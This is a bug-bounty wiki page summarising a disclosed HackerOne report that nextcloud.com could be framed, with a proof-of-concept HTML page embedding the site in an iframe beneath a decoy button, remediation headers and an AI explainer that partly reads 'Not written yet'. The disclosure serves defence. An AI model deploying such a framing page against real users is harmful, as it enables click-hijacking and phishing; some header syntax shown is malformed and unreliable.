Nextcloud Clickjacking Vulnerability
The nextcloud.com site did not send an X-Frame-Options header, so the page could be loaded inside a frame on another site. An attacker could trick a user into clicking on the framed page, which the report says could cause potential harm.
Originally disclosed on HackerOne
- Disclosed after 32 days
Steps To Reproduce
-
Create a new HTML file
-
Include the following payload
<html>
<head>
<title>Trusted web page</title>
</head>
<body>
<div id="content">
<h1>https://nextcloud.com</h1>
<form action="https://nextcloud.com">
<input type="submit" class="button" value="Click and go!">
</form>
</div>
<iframe id="clickjacking" src="https://nextcloud.com" width="500" height="500" scrolling="no" frameborder="none">
</iframe>
</body>
</html>
- Open document in browser
Impact
An attacker could trick the user into sending a malicious link, and then the user could click on the image to cause potential harm.
Solution
The vulnerability can be fixed by adding "frame-ancestors 'self';" to the CSP (Content-Security-Policy) header.
X-Frame-Options : DENY
X-Frame-Options : SAMEORIGIN , ALLOW-FROM allows
X-Frame-Options : ALLOW FROM https:// allow website address
<!-- X-Frame-Options header -->
<filter>
<filter-name>httpHeaderSecurity</filter-name>
<filter-class>org.apache.catalina.filters.HttpHeaderSecurityFilter</filter-class>
<init-param>
<param-name>antiClickJackingOption</param-name>
<param-value>SAMEORIGIN</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>httpHeaderSecurity</filter-name>
<url-pattern>*.do</url-pattern>
</filter-mapping>
References
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options https://www.owasp.org/index.php/Clickjacking https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Clickjacking_Defense_Cheat_Sheet.md
Thanks you
Impact
An attacker could potentially include a payload like this, which could potentially affect the victim.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application did not send an X-Frame-Options header or a frame-ancestors CSP directive, so browsers allowed the page to be embedded in a third-party frame.
Impact
An attacker could trick a user into clicking on the framed page, which the report says could cause potential harm, though no concrete action or proof of exploitation is shown.
What the attacker needed
Victim visits attacker page; victim clicks on the framed content
The fix
The report says the issue can be fixed by adding a frame-ancestors 'self' directive to the Content-Security-Policy header, or by sending an X-Frame-Options header.
How it was found
- Create a local HTML file that embeds the target site in an iframe.
- Open that file in a browser and observe that the site loads inside the frame.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Clickjacking is when a malicious page loads a real site invisibly inside a frame and places its own buttons on top, so your clicks land on the real site without you noticing. Here the site did not tell browsers to refuse being framed, which is the usual protection against this. The report only shows that framing was possible; it does not demonstrate a concrete harmful action.
What is UI spoofing?
The interface lies to the user: a framed page catches their clicks, or a browser shows the wrong address or a fake prompt. Paid when it leads to a sensitive action or convincing phishing.